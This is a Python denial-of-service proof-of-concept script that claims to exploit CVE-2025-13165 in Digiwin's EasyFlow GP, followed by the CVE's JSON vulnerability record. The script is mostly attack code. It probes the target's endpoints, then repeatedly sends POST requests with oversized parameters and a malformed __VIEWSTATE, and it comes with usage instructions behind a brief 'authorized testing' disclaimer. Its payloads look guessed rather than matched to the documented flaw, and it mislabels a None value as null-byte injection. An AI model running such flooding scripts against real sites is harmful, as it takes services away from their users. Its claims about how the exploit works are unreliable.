CVE-2025-13165

#!/usr/bin/env python3 """ CVE-2025-13165 PoC - EasyFlow GP Denial of Service Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import time def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-13165""" print(f"[*] Checking target: {target_url}") # Test endpoint - adjust based on actual EasyFlow GP structure endpoints = [ "/mainpage.aspx", "/index.aspx", "/Default.aspx", "/login.aspx" ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10) if response.status_code == 200: print(f"[+] Found EasyFlow GP endpoint: {url}") return url except requests.RequestException as e: print(f"[-] Error connecting to {url}: {e}") return None def exploit_dos(target_url, num_requests=100): """ Denial of Service exploit for CVE-2025-13165 Sends specific malformed requests to trigger DoS condition """ print(f"[*] Initiating DoS attack with {num_requests} requests...") # Malformed request payload that triggers the vulnerability # This specific payload format is based on the vulnerability pattern malicious_payloads = [ {"param": "A" * 10000}, # Large parameter value {"__VIEWSTATE": "\\x00" * 5000}, # ViewState manipulation {"null": None}, # Null byte injection ] success_count = 0 for i in range(num_requests): try: for payload in malicious_payloads: response = requests.post( target_url, data=payload, timeout=5, allow_redirects=False ) if response.status_code in [500, 502, 503, 504]: success_count += 1 print(f"[!] Request {i+1}: Server returned error status") except requests.RequestException: success_count += 1 print(f"[!] Request {i+1}: Connection failed (DoS successful)") if (i + 1) % 10 == 0: print(f"[*] Progress: {i+1}/{num_requests} requests sent") print(f"\n[+] Attack completed: {success_count}/{num_requests} requests triggered DoS condition") return success_count > 0 if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13165.py <target_url>") print("Example: python cve-2025-13165.py http://target.com/easyflow") sys.exit(1) target = sys.argv[1] # Check vulnerability vulnerable_endpoint = check_vulnerability(target) if vulnerable_endpoint: print("\n[*] Target appears to be running EasyFlow GP") confirm = input("[*] Do you want to proceed with DoS test? (y/N): ") if confirm.lower() == 'y': exploit_dos(vulnerable_endpoint) else: print("[*] Aborted by user") else: print("[-] Could not identify EasyFlow GP endpoint")

{"cve": {"id": "CVE-2025-13165", "sourceIdentifier": "[email protected]", "published": "2025-11-17T08:16:23.233", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "EasyFlow GP developed by Digiwin has a Denial of service vulnerability, allowing unauthenticated remote attackers to send specific requests that result in denial of web service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10504-23f4c-2.html", "source": "[email protected]"}, {"url": "https://www.twcert.org.tw/tw/cp-132-10503-a66fe-1.html", "source": "[email protected]"}]}}